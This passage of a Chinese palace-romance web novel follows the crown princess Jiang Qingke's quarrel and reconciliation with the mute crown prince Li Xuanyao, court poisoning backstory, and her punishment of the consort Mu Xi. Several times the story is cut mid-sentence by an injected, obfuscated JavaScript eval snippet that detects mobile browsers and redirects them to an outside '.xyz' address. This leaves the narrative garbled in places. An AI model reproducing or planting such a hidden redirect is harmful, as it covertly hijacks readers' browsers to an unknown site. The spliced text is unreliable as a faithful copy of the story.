“待太子殿下坐稳朝堂,我们就带着孩子离开。” “我做回穆珩,你做主母穆夫人,我们找个山清水秀的地方,买套四进门的大宅院,过清净自在日子。” 徐才人侧脸贴在穆珩的胸膛,皓臂紧圈着他的腰身。 水灵灵的大眼睛里满是对未来的向往。 “到时,珩哥哥便可自由自在地做你自己,然后跟舒儿再多生几个孩子。” 穆珩亦是憧憬。 “一定可以。” 他虽言语肯定,可眼底还是漫出几许不安来。 第98章 火上浇油 翌日。 早膳时辰一过,曹公公便带着一群小太监和嬷嬷来了梧桐苑。 待寝殿里的物品都搬得差不多了,曹公公躬身走到穆汐身前,和声道:“殿下的意思,从今日起,这梧桐苑就废用了,还请......” 言到一半顿了下,曹公公看了看穆汐的脸色,略显为难地陪着笑。 “还请穆良媛移步芍菡轩。” “请曹公公带路。” 穆汐颔首莞尔,未显露出半点恼怒羞愤之色。 她举止优雅从容,依旧是那个落落大方又傲气十足的贵女。 什么都无所谓,什么也都不放在眼里。 太监和嬷嬷们忙活了一上午,芍菡轩便归置妥当。 送走曹公公等一众人离开后,婢女鹂莺转身走到香炉前,打算给久无人住的屋子里熏熏香。 一旁的花容则拿着铁钳,愤愤不平地往火炉里添着炭。 “殿下真是好狠的心。” “为了太子妃,好大的火气呦。” “简直是忘恩负义。” “这么多年,若非老爷在背后为殿下出谋划策,用心扶植培养,替他拉拢各方势力,又牺牲大公子代殿下抛头露面,殿下能有今天?” “当年早就不知被惠贵妃和淑妃的人给害**多少回了。” 穆汐拿着绢帕,细心擦拭李玄尧以前送她的那把古琴,也不搭花容的茬。 “行了,那是太子殿下。” 鹂莺出言喝止:“岂是你能非议的,注意自己的身份。” 花容撇了撇嘴,低头不再言语。 鹂莺压了会儿香,抬眸看向穆汐,低声问:“事到如今,小主接下来如何打算?” 如葱玉指轻轻拨动琴弦,发出清澈深远的一声。 穆汐抬眸看向鹂莺,唇角勾的笑意味极深。 她起身踱步到妆奁前,拿起一瓶梳头的发油,又闲庭信步地走到炭炉前。 眼底映着火光,她歪着头,勾着笑,姿态闲适地将发油倒了一半进去。 火遇油,嘭的一下,猛然蹿起,炭炉里的火燃得更旺了。 看着欣喜跳跃的火焰,穆汐脸上的笑意渐盛。 烧吧,烧得越旺越好。 将他们仅仅数月的情意全都烧掉。 上好的银丝炭在火中炸响,时不时爆出点火星子来,就像江箐珂脑子里时不时炸出的疑问。 放空许久的目光从火炉子里收回,江箐珂转头看向身侧的几盆花,开始纠结离开的事。 她现在气不顺,谁也不想见。 于是便写了一副对联,让喜晴贴在了寝殿门外。 上联是“欲入此门”,下联是“犬吠三声”,横批是“有种叫,没种滚”。 挡的就是他李玄尧。 喜晴贴完对联后,回到殿内,把听到的消息同江箐珂说了一遍。 “听说穆侧妃被降为了良媛,大早上就被请去了芍菡轩,而梧桐苑也被上锁封禁了。” “太子殿下这次是真动怒了。” 江箐珂窝在摇椅里,点着脚前后晃悠着,对喜晴的话没有半点反应。 曹公公今早派人来重置凤鸾轩,顺带搬了这几盆月季和栀子花来。 她随手摘了一朵鹅黄色的月季,开始扯花瓣。 扯一朵,便小声念一句。 “走。” “不走。” ...... “走!” 看着最后一朵花瓣,江箐珂眉间拧着犹豫,想了想,转头又薅了一朵栀子花下来。 “走。” ...... “不……走?” 江箐珂撇了下嘴,对这个结果仍不满意。 心想着还是来三次比较准,她又揪了朵月季。 “不走...” ...... “走?” 结果定了,可江箐珂心里还是不痛快,没好脸色地将剩的花枝扔到了一旁。 一旁的喜晴瞧出了她的心思,随口下了结论。 “两次都是走,却还是一副不想走的样子,那就是太子妃还舍不得走。” “舍不得”三个字,激起了江箐珂的自尊心。 她呛声道:“东宫大骗子,有什么好舍不得的?” 一双杏眼透着几分狡黠,喜晴笑道:“那咱们今晚就逃?” “夜里逃出宫,哪那么容易?” 江箐珂煞有介事地掰起手指头,同喜晴细说逃出宫都有何难处,需要提前做什么准备。 “路上用的银子得准备吧?” “何时逃,如何逃,往哪儿逃,怎样不会被抓到,这咱们得先跟阿兄好好商量吧?” “另外,我的那些嫁妆肯定得带走啊。 “若是留下不管,那岂不是便宜李玄尧了。” “可要把嫁妆典换成银票,也需要费些功夫,这前前后后……” ...... 算来算去,结论就是现在还走不得。 喜晴心里明镜似的,笑道:“行行行,那咱们就慢慢准备,什么时候准备好了,奴婢就跟太子妃走。” 适时,殿外传来了脚步声。 步子在殿门前停下,静了片刻,三声略有些拘谨的狗叫,从门外传来。 喜晴捂嘴憋笑,收到江箐珂的眼神示意后,立马跑去开门。 门闩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065376|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取下,进来的是曹公公。 喜晴没大没小地打趣道:“不愧是曹公公,还挺有种的。” 曹公公一脸汗颜,笑得比哭还难看。 他提着一个鸟笼子,躬身走到江箐珂的身前。 “这两只玄凤鹦鹉是年岁南边送来的贡品,今年就两只,都被殿下给讨来了。” “本想再驯些时日送给太子妃的,但眼下,殿下担心太子妃气坏了身子,动了胎气,便想着提前送这两个小东西过来,来哄太子妃开心。” “另外,这鹦鹉也不用太子妃费心,每日咱家自会安排个小太监来喂养。” ...... 曹公公罗里吧嗦地说了一大顿,江箐珂始终低头揪着栀子花,压根瞧都不瞧一眼。 “公公给我吧。” 喜晴上前接过。 曹公公识趣地退到殿门口,转身欲走,却突然**箐珂叫住。 “我有几个问题,想问曹公公。” 曹公公躬身道:“太子妃尽管问,奴才定知无不言。” “传闻中,殿下于两年前意外坠马,被马蹄伤到根基,此事可是真?”江箐珂问。 曹公公答:“确有此事,但伤到的既不是殿下,也不是穆大公子。” 江箐珂语气不太肯定道:“是八哥儿?” “正是。” “八哥儿好惨,敢情危险的事儿,都是他上?” 江箐珂不由得同情起那个小太监来。 曹公公面色无奈,亦是感叹唏嘘。 “咳,这宫里的人,活得都不容易。” “但有场合,这八哥儿不上,那就得穆大公子上。” “可首辅大人就这么一个儿子,又岂能让穆大公子出头冒险?” “那几位影子,虽说是为殿下培养的,但也是为穆大公子培养的。” 江箐珂仍有些不解。 “那为何送到了皇上身边,没有让八哥儿留在东宫?” 许是得李玄尧授意,曹公公确实是知无不言。 “那时候,殿下还未被封为太子,仍住在景王府里。” “八哥儿出事时,正赶上皇上身边有位太监走了,御前太监总管缺了个帮手,衡帝便将八哥儿讨了过去。” “一是担心惠贵妃和淑妃等人会趁此机会,暗中安插自己的心腹在身边,二是想着让八哥儿跟御前太监总管学做事,待日后殿下登基,也好让他做个御前太监,能长长久久地保护、陪伴殿下。” 衡帝想得倒是周到。 江箐珂若有所思地点了点头,随即又问起另一件事来。 “殿下和穆良媛都是怎么哑的?” 第99章 那年那人那些事 拂开记忆的浮尘,曹公公细细回想着当**,然后不疾不徐地讲给江箐珂听。 “奴才若没记错,殿下应该是八年前的一个夏日被毒哑的。” “那时候,首辅穆大人兼任国子监太傅,受文德皇后所托,每日到宫里给乐宁公主、殿下、穆家姐妹,还有那几名影子一起讲书授课。” “殿下因异瞳的原因,又是假借穆府大公子的伴读身份入宫,便整日带着面具。” “那日天气热,文德皇后命人煮了些酸梅汤,待穆大人讲学休息的间隙派人送到了书房。” “殿下和穆良媛便是喝了那酸梅汤后,嗓子舌头突然出现麻痹刺痛的症状,从此失声无法言语。” “后经太医验毒,发现是有人在酸梅汤里下了封喉散和软舌花两种毒。” 江箐珂偏头想了想,确认道:“是一碗一碗端送过去的?” 曹公公摇头。 “是放在冰鉴里一起端来,然后再一碗一碗分的。” 江箐珂心生疑惑,不解道:“既然是端来再分饮的,那为何乐宁公主和穆大公子,还有其他几名影子,都平安无事?” “说来也是巧。” 曹公公似沉浸在回忆之中,五官都在跟着用力回想。 他拧着眉头,慢声道:“那几日,恰好乐宁公主身子不适,文德皇后便让公主在寝宫里歇着了。” “而穆大公子......似是因未能完成前日的课业,被穆大人叫去训斥责罚,躲过了一劫。” “至于那几名影子,毕竟身份有别,他们喝的酸梅汤自是要与殿下分开。” 这事情巧得,敢情就李玄尧和穆汐二人倒霉。 穆汐应该最倒霉。 明明对方的目标是李玄尧,她却被无辜牵连。 江箐珂接着又问:“那事后可查出是何人下的毒?” 曹公公摇头。 “奴才当时也就是个小太监,所知甚少。” “只知道事后,皇上将当日所有接触酸梅汤之人,全部拉去了慎刑司,命人严刑拷打逼问,但具体是谁下的毒,奴才后来也无从得知。” “但幕后真凶,拜手指头数都是有数的,也就那么几个人。” “无非是惠妃、淑妃,还有当时尚未疯癫的娴妃。” “可惜无凭无据,殿下被毒哑的这口气,文德皇后也只能干受着了。” “而且,那几年,大皇子、二皇子和五皇子都相继出事,文德皇后因失子之痛,身子本就不好。 “在殿下被毒哑后,更是急火攻心,一病不起。” 殿内自此静默了好一瞬。 半晌过后,江箐珂漠声言语。 “那......殿下的嗓子,真的治不好了吗?” “毕竟,历朝历代没有哪一位君王是哑巴的。” “事关李家江山社稷,皇上就不担心殿下日后登基,因异瞳哑人之事,无法让百官臣服,安天下之局势?” 曹公公低眉顺眼地站在那里笑了笑,神情玄妙幽深。 “皇上自有皇上的打算。” “奴才不敢妄言。” 江箐珂撇了撇嘴,叹道:“殿下生下来就是不祥的异瞳之人,没想到皇上竟然一点都不在意?” 曹公公笑言。 “皇上对文德皇后最是宠爱,而如今与文德皇后所生的皇子,又仅剩殿下一人,自是偏爱有加。” “更何况,文德皇后所生的公主、皇子中,还就属殿下与文德皇后最像。” 江箐珂无意识地夸了一句。 “文德皇后还真是倾城绝色。” 曹公公头虽低得更低了,可脸上笑意却比方才更甚。 后知后觉,江箐珂意识到了自己间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065377|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接把李玄尧夸了一把,没好气地白了曹公公一眼。 “笑什么笑,找抽是不是?” 曹公公颔首抿唇,把勾起的弧度硬是抿平了。 于是,江箐珂又换了个问题。 “那这么多年,殿下是异瞳哑人,就只有文德皇后、皇上和穆家人知晓?” 曹公公表情有些模棱两可。 “倒也不是。” “正所谓,世上就没有不透风的墙。” “奴才听义父所言,当年太子殿下出生后,皇上与文德皇后都极力隐瞒此事,封了坤宁宫里所有知情人的嘴。” “可不知为何,消息还是传到了惠贵妃的耳朵里。” 曹公公细声细语,耐心地将当**娓娓道来。 “惠贵妃的一位叔父当时在钦天监任职,许是受惠贵妃指使,那段时间频频上奏。” “说是文德皇后诞下八皇子那日,他夜观天象,只见灾曜突现,自天市垣疾坠入紫微宫。其光红黑交错,如血如墨,始终盘旋在坤宁宫上空久久不散,乃不祥之兆,恐是异瞳妖物降世。” “当年正巧南越举兵北上,频频挑起战事,还有南北分别有两个地域遭遇蝗灾和水灾。” “遂朝中大臣也纷纷上谏,欲要求证八皇子是否真是异瞳之婴,灾星降世。” “所以,殿下是异瞳之事,若说没几个人知晓吧,当年闹得沸沸扬扬的。” “虽说后面将穆大公子抱出来反驳谣言,可保不齐这其中有多少人知晓真相。” “现在,那些人说不定都是睁一只眼闭一只眼,躲在暗处静观其变呢。” 江箐珂听后,心中五味杂陈。 “那当年若是殿下是异瞳之事被揭破,又会如何?” 曹公公神色登时变得凝重而严肃。 他咬字清晰道:“祭天,活烧。” 第100章 看不得小人得志(3-1) 养心殿。 殿门紧闭。 御前侍卫和黑甲卫里里外外三层,在大殿四周严防看守。 暖阳直照,瓦檐上的积雪渐渐融化。 雪水顺檐滴落,一串串,在养心殿的四周织就了一层水帘。 天气虽已转暖,可养心殿内的地龙却仍烧得温烫。 对于衡帝来说温度刚刚好,但对于李玄尧来说却闷热如夏。 明明上身只披了一件衣袍,却热得额前、鼻梁冒出一层细密的汗来。 汗珠凝聚,顺颊而下,流至下颌处,又凝聚滴落在他双手交叠的掌心上。 他带着狐狸面具,正盘腿坐在蒲团上,而喉间、侧颈之处则扎着十余根银针。 身前的紫砂香炉里点着药用熏香,青烟袅袅,在银针间缭绕弥散。 待熏香燃尽,御前太监总管绕到屏风后,将一位须发皆白、衣履朴素却气度不凡的布衣老者请了进来。 老者手法娴熟地将银针悉数取下,然后从怀中掏出一个木盒。 木盒打开,异香飘出,里面则静静躺着一粒药丸。 那老者将药丸呈给李玄尧后,便跟着太监总管退出了养心殿。 龙榻上的衡帝欲要撑身坐起,李玄尧见状,摘下面具,立即起身过去搀扶。 衡帝歇了口气,无力吁喘道:“这个穆汐虽看起来知书达理,娴静端庄,又随她父亲,颇有几分才情,却是个目光心胸狭隘之人。” 他摇了摇头,似有担忧。 “日后若随了穆家的愿,封她为后,你这后宫怕是也不得安宁。” 李玄尧掏出炭笔和册子,快速写下一行字。 【儿臣的皇后到最后只会是小满。】 衡帝闭眼点头,双手拄着龙杖借力,坐在那里叹了口气。 “人多是非多啊。” “若非必须,朕觉得这后宫着实没必要纳那么多女子。” “这纳了,你放在那儿,不睡也不是,睡了,其他人就开始较劲儿争宠,闹得你一个头几个大。” 咳嗽了几声后,衡帝想着往事,摆手无奈。 “朕以前一见到敬事房的太监端牌子来,有段时间就想吐。” “今天睡这个,明天宠那个,大后天再换另一个,多血气方刚的男人,那也是力不从心。” “这睡来睡去还不都是一个样,一对胸两条腿,哪一个都不比你母后好。” “要说这妃嫔生了公主倒好,若是生了皇子,还得担心这皇子能不能活到大。” 说到气愤之处,衡帝有气无力睁开干巴巴的眼皮,脸上的胡子似乎都要气得翘起来。 “朕这么多年,跟各宫妃嫔辛辛苦苦生了多少皇子?” “到现在,你数数,剩了几个?” “但凡你母后所生的三位皇兄能活着一个,也不至于将你捆在这个位置上。” 说到此处,衡帝似乎想起一件事来。 他侧眸冷冷地觑了李玄尧一眼,沉声不悦道:“别以为朕不知道,太池园杀三皇子的刺客......是你派的。” 李玄尧面色平静地回视,一双异瞳没有任何波动,让人看不出半点情绪来。 衡帝继续言语。 “残杀兄弟手足,本是天理不容之事。” “但朕知晓你是为三位皇兄和你母后,报复惠贵妃,便睁一只眼闭一只眼,装糊涂罢了。” “虽不同意你番举动,但朕又想,你能如此心狠手辣,倒也不是什么坏事。” “反倒比朕强。” “朕这辈子有负于你母后,为了江山社稷,亏欠她太多,也让她受了太多的委屈。” “好在有你能替你母后讨回一口气。” 干瘦如柴的手抬起,轻轻拍打在李玄尧的肩头上。 衡帝眼底泛红,笑道:“将你扶上皇位,便是朕唯一能弥补给她的。” “如此,待朕百年,才有脸下去与你母后团聚。” “朕已命人择定黄道吉日,在朕尚存一息之力能为你撑腰时,将皇位提前禅位让于你。” 水蓝色的眼仿佛天生就是用来流泪的,眼角一滴泪滑落,李玄尧摇头。 他低头提笔,泪珠又落了一滴在折册子上。 【父皇定能长命百岁。】 凹陷发青的双眼虽混浊不清,却眼神有力地凝视着李玄尧。 衡帝虚喘几下后,笑道:“可别百岁了。” “朕想你母后了,让她一个人在皇陵里躺了那么久,再不去陪她,怕是又要生大气了。” “回去你也好好哄她,别让太子妃气太久。” 李玄尧提笔回话。 【可她现在不想见儿臣,还说要走。】 衡帝却觉得不是什么大事似的,低头笑了笑,笑得那孱弱的身子带着头都跟着轻微晃动。 他语气甚是羡慕地感叹道:“她气你哄,她恼你宠,她跑你追,正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068089|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,好时候啊。” ...... 另一边,江箐珂命曹公公把穆汐叫到了凤鸾轩。 人叫来了,她也不说话。 就让穆汐一直跪在她的面前。 江箐珂像只高傲的猫,懒洋洋地窝坐在摇椅里。 她一边吃喜晴剥的橘子、核桃、花生,一边冷眼盯着穆汐。 待一炷手指般粗细的香快要燃尽时,穆汐跪得身子开始有些打晃。 江箐珂塞了口汁水极多的橘子,这才慢声开口。 “别以为本宫不知道你耍的是心思?” “我这人虽然不比你聪明......” 顿了顿,她又津津有味地塞了口橘子进去,酸得她左右都用力眯了起来。 吃完后,她继续刚才的话:“可也不傻。” 抖着腿,江箐珂又扔了个花生米到嘴里,然后语气不屑道:“你那点小聪明,说实话,我都懒得揭发你。” “张良娣和那玉容膏,是你在背后,带着徐才人搞的鬼吧?” 穆汐即使跪在那里,仍端着那副清冷高傲的架子。 她眸眼低垂,不给半点反应。 江箐珂也不管她搭不搭理自己,反正穆汐不是聋子,她说的话总是能听进去的。 于是便又道:“我知道,你这次打的小九九,无非就是想让我和李玄尧心生嫌隙。” “恭喜你,成功了。” “但是,你也惹到我了。” 适时,江箐珂拿起一粒花生米,放到指尖一弹,不偏不倚,正好打在了穆汐的脑门上。 穆汐生得胶皮嫩肉的,这一粒花生米打上去,登时就出了个红点子。 她疼得捂着额头,抬眸发狠地瞪向江箐珂,终于有点反应了。 江箐珂却挑眉看着她笑,痞里痞气的,有点江止上身的调调。 “我这人脾气不大好,最看不得......小人得志。” “我跟李玄尧关系破裂,信任崩塌,你昨晚该不会乐得睡不着觉吧?” 懒懒起身,她踱步走到穆汐身前,柔荑素手从她的额头开始下移,硬是那瞪得眼溜溜的眼皮子给扒了下去。 “瞪也没用,谁让我现在还是太子妃。” “我现在心情不爽快,你也别想好受。” 江箐珂转身往床榻缓步而去,背对着穆汐懒声下令。 “跪着。” “什么时候天黑了,什么时候滚。” 第101章 不小心(3-2) 夜里,亥正。 白雪似嫌春色晚,到了夜里,穿庭过树,竟扮起了飞花。 江箐珂昨夜被气得睡不着。 本以为今晚能睡个好觉,可沐浴更衣后,却翻来覆去地睡不着。 殿内留的那盏夜灯忽明忽暗,江箐珂看着空空的身侧,心想习惯这东西真是可怕。 以前嫌身旁多了个人睡不着,现在是身边少了个人睡不着。 可习惯嘛。 能养成,便也能戒掉。 现在戒不掉,继续留在宫里,以后这种独守空床的日子多着去了。 转身躺正,江箐珂烦躁地蒙上被子,强迫自己快点入睡。 明明累得很,可越想睡,脑子却越清醒得很。 越清醒,她就越生气。 李玄尧这个狗太子,一点认错的态度都没有。 让他不许出现,他还真就隐身不出现了? 正要发作想去抽人时,殿门外传了几声狗叫。 奶声奶气的,还怪可爱的。 闻声,睡在美人榻上的喜晴立马起身下地,跑去开了殿门。 江箐珂探脖子瞧了一眼。 没想到,李玄尧这个狗东西来了。 一身宽大的黑色斗篷垂至脚踝,大大的帽子也正好遮住了那双特别的眼。 斗篷上落了一层薄薄的白,但在进殿后,很快便化了。 而狗东西怀里还抱着一只黑色的小奶狗。 真是上有政策,下有对策。 亏他想得出来。 喜晴接过小奶狗,稀罕得不行。 同江箐珂对视了一眼后,便会心地抱着奶狗退出寝殿,带上了门。 李玄尧脱下斗篷,搭在衣桁架上。 然后走到炭火炉前,待烘尽了一身寒气,才朝床榻走来。 他并没有自行坐下,而是眼巴巴地看着江箐珂,先打手语请示了一番。 【我洗过了,能躺下吗?】 “你还有脸躺?” 江箐珂抄起枕头就朝李玄尧砸了过去。 “滚!你个大骗子!” 李玄尧乖顺得很,抱着枕头,转身朝矮榻那边走。 待他走到一半,江箐珂又扬声喊他。 “滚回来!” 李玄尧唇线浅弯,可在转身后,又藏起了唇角的笑。 他抱着枕头,顶着一副任凭发落的坦然神情,重回床边。 江箐珂将压风的被子和靠枕全都拢到中间,在大圆榻上隔出了楚河汉界。 “夜里风大,你躺外面,给我挡风。” “不许越界!” 她严声厉色地警告道:“否则,肚子里的孩子,明天就给你蹦没了。” 言毕,江箐珂背对李玄尧躺下,独自盖着厚被子。 “把灯熄了,有亮我睡不着。” 烛灯一灭,殿内瞬间就黑了下来。 炭火里银丝炭烧得通红,烘得四周暖暖的,殿内角落里一扇轩窗微敞,故意露着一条粗缝儿换气。 寒风卷着碎雪,从窗缝吹入,在落地前于半空中化成了水汽。 重重纱幔里,两个人的世界安安静静。 江箐珂枕着手臂,闻着那熟悉的香气,一颗烦躁的心渐渐安静下来。 她仍是生气的。 想离开的心思也还没有断。 但在她下定决心前,她想睡几个好觉,毕竟肚子里还有个孩子。 被子下,她轻抚尚还扁平的肚子,陷入两难。 要是给孩子一个父亲,她就要留在宫里,困住一生。 可出宫再生下来,孩子就会成为没有父亲的野种。 可不要,她又有点舍不得。 在要与不要间纠结,江箐珂不知何时就入了梦。 待翌日醒来,一张眼便看到李玄尧就躺在她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070724|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前。 她的一只手搂着他的脖子,一条腿则骑搭在他的腰间,而隔在他们中间的枕头和被子也都被她压在了身下。 很显然,这楚河汉界,是她越的。 怪只怪她平日睡相不佳。 李玄尧气息绵长平缓,似乎睡得正沉。 江箐珂本想趁机给自己挽回点面子,转过身去的,却定定地瞧着李玄尧没动。 仔细想来,这样早上一睁眼就看到他,还是第一次。 为了遮掩真容,他之前总是在她醒来前,或起身离开,或戴着面具坐在矮榻那边饮茶。 江箐珂不动声色地细细打量。 嘶...... 以前不觉得这张脸惊艳,反倒见了就讨厌。 可现在,怎么瞧都觉得顺眼呢? 眉毛浓而黑,睫毛长而密,鼻梁高而挺,哪哪儿瞧着都好看。 视线落在那两瓣温软上,江箐珂看得恍了神。 心跳没由来地漏了个节拍,她为自己刚刚冒出的冲动而羞恼,并在心里骂自己。 江箐珂,你这个没出息的。 他跟别人把你当傻子骗,你竟然还想亲他? 长长心吧。 江箐珂闭上眼,默念空即是色,色即是空,可念着念着又自问凭什么。 凭什么他可以骗她,她就不能占他便宜,吃他豆腐? 反正以后总是要走的...... 脑子里还在说服自己的过程中,身子却诚实地先动了。 她闭着眼,好似在半睡半醒间调整睡姿,极其自然地亲到了那张嘴。 软软的一下,意犹未尽地收唇。 江箐珂转身,回到自己的领地,然后给自己寻了个不小心碰到的借口。 对,就是伸懒腰翻身不小心碰到的。 殊不知,她身后的那人闭着眼,唇角偷偷勾着笑。 第102章 想好了(3-3) 两人同用早膳时,江箐珂态度十分冷漠。 她说起话来更是没个好态度。 旁人若是听了,任谁都不敢相信会有人如此跟当朝太子说话。 “妾身心情不好,要出宫去找阿兄玩儿。” “这是知会,不是请示。” “所以,太子殿下,也别想拦着。” 一声“太子殿下”叫得阴阳怪气的,听起来很是客套疏离。 李玄尧痛快地点头应了。 眼下她在气头上,纵使是去见江止,他也得顺着。 待膳后,江箐珂便换上了东宫侍卫的衣服,便带着喜晴要出宫。 而李玄尧则扣着那件大斗篷,戴着斗篷帽子,住了那半张狐狸面,紧跟在江箐珂的身后也出了寝殿。 在二人前后脚踏出殿门时,便见穆汐跪在雪地中,婢女花容则陪在她身侧。 这是江箐珂下的令。 她命穆汐每日都要来凤鸾轩晨昏定省,在外面跪上半个时辰再回去。 穆汐看见李玄尧从殿内走出,目光灼灼看向他。 她眼里先是不加掩饰的深情和渴望,转而又被冷静和现实压下,恢复先前的清冷平静。 隔着那两道狐狸眼缝,李玄尧只觑了一眼,便从穆汐身侧无情走过,赶着去勤政殿替衡帝处理昨日积攒的折子。 而江箐珂则在穆汐身前停下,顶着一副得意的神情瞧着她。 “看到了没,殿下昨晚还是宿在我这里。” “我和殿下冰释前嫌,干柴烈火,折腾到大半夜才睡呢。” “你的小算盘啊,都落空了。” 言毕,江箐珂便哼着小曲,洋洋得意地出宫找江止去了,留着穆汐跪在雪地里咬牙切齿。 见到江止,江箐珂一句未提宫里的事。 她就坐在戏楼里,漫不经心地同江止看着戏,纠结着走与不走的问题。 江止蹙着眉头,看着其他桌的那十几个拖油瓶,不满道:“爷了个腿儿的,十几双眼睛盯着,把咱俩当犯人看呢?” 江箐珂撇嘴,心不在焉回了一句。 “阿兄就知足吧,咱兄妹俩还能见面看戏。” 江止若有所思地盯着谷俊瞧了片刻,忽然开口问:“要不,阿兄入宫给你当侍卫?” 江箐珂收敛思绪,侧眸问道:“银子都花完了?” “啧......” 江止咂舌。 “是瞧不起老头儿,还是瞧不起阿兄呢?” “你们江家的银子能花完?” “老子没钱不会赚?” 江箐珂面无表情地看着戏台,懒声回道:“那阿兄当什么侍卫,不是要等春考时去考武状元吗?” “皇宫老子不是进不去嘛。” 江止将一片干肉条放到嘴角嚼,翘起的二郎腿有一下没一下地抖着。 “你现在长大了,翅膀硬了,有点事儿,也不爱跟阿兄说。” “这宫里面有没有人欺负你,我这个当阿兄的也不清楚。” “就想着,要不就进宫给你当个侍卫,真有什么事儿,也好照应下你。” 一句平平无奇的关心之言,却听得人心里暖暖的。 是啊,无论到何时,阿兄都是她背后的底气。 “先别当了,过段时间再说吧。” “反正我这几日天天都能出来。” 言语间,江箐珂回头瞄了眼谷俊等人,趁着他们吃茶聊天,她同喜晴递了个眼神。 喜晴会意,和江箐珂一起将手腕上的金镯子、翡翠镯子,还有什么玉扳指、上好的南红手串,都摘了下来,再不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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结果这一弯,南红手串、玉扳指、翡翠镯子、金戒指,噼里啪啦地,都从他怀兜里掉了出来。 好在喜晴反应快,也是**箐珂给训练出来了。 她眼疾手快,以迅雷之势,一步上前,接着了最容易碎的翡翠镯子。 江止则石化在那一刻。 恍惚回神后,他泰然自若地去一一捡起。 江箐珂则迅速扫了眼谷丰、谷俊等人,想好了说辞。 “阿兄来见我之前,是出去偷了,还是出去抢了,怎么带这么多宝贝在身上?” 江止一边捡宝贝,一边清了清嗓子,接话道:“乱说,阿兄这是买来要送酒楼老板娘的。” 江箐珂故意高调道:“唉哟,这又是金镯子,又是翡翠的,对人家老板娘这么好啊?” 将东西重新揣好,江止邪肆一笑。 “谁让人家天天又让摸胸,又给捏屁股的,动不动还要主动往我嘴里喂奶。” “都吃了老板娘那么多回豆腐了,不给点儿东西,多少有点不地道吧。” 转头看向一旁谷俊,江止冲他努了下下巴,问道:“是吧,俊兄弟?” 拿着手里的金镯子,还故意在人家眼前炫耀一番。 “咱们当男人的,就该对女子大方点儿。” 谷俊是个黄花大闺少,江止这不着调的话,登时给他听得面红耳赤。 转头看向别处,谷俊没搭江止这浪茬。 三人同时暗暗松了一口气。 江箐珂狠狠地瞪了江止一眼,眼神说话:能不能靠谱点? 江止眨眼点头:放心吧,都骗过去了。 ...... 回到宫里,江箐珂碰巧在宫道上碰见了“李玄尧”。 穆珩见到她,端的还是太子的威严架势,一点见到太子妃的低姿态都没有。 再瞧穆珩顶着的那张脸,江箐珂怎么瞧,怎么觉得别扭。 尤其在她想起早上还“不小心”亲到这副面孔时,江箐珂不由地打了个寒颤。 太诡异了。 有种同时亲了两个人的错觉。 宫道上,各宫太监、侍卫和婢女们来来往往,纷纷朝“李玄尧”躬身行礼。 江箐珂此时还是东宫侍卫扮相,不得不跟在穆珩身侧保持低调。 她嘴唇不动,含糊发声阴阳穆珩。 “穆大公子不去唱戏,真是太可惜了。” 穆珩目视前方,冷声嗔笑。 “本宫不行,跟戏班子里的伶人们比差远了。” “这点本事也就只能演给猴儿们看,也只有猴儿们才会觉得本宫演得好。” 江箐珂被怼得梗在了那里。 “你怎么骂人啊?” “找抽是不是?” “你才是猴儿,你们全家都是猴儿,尤其你那个猴儿妹妹。” 她压着声音,咬牙凶道:“以前在我面前作威作福也就算了,现在请认清你自己的身份!我才是真的主子!” 若非周围有人在,新仇加旧恨,江箐珂非得打穆珩几拳给讨回来。 可转念想到他是影子的身份,顶着李玄尧的脸和姓名,被迫在这宫里活了二十几年,又生出几分同情来。 于是,她低头愤愤道:“有机会出去,好好当回人吧!” 穆珩倒是对此话颇为受用。 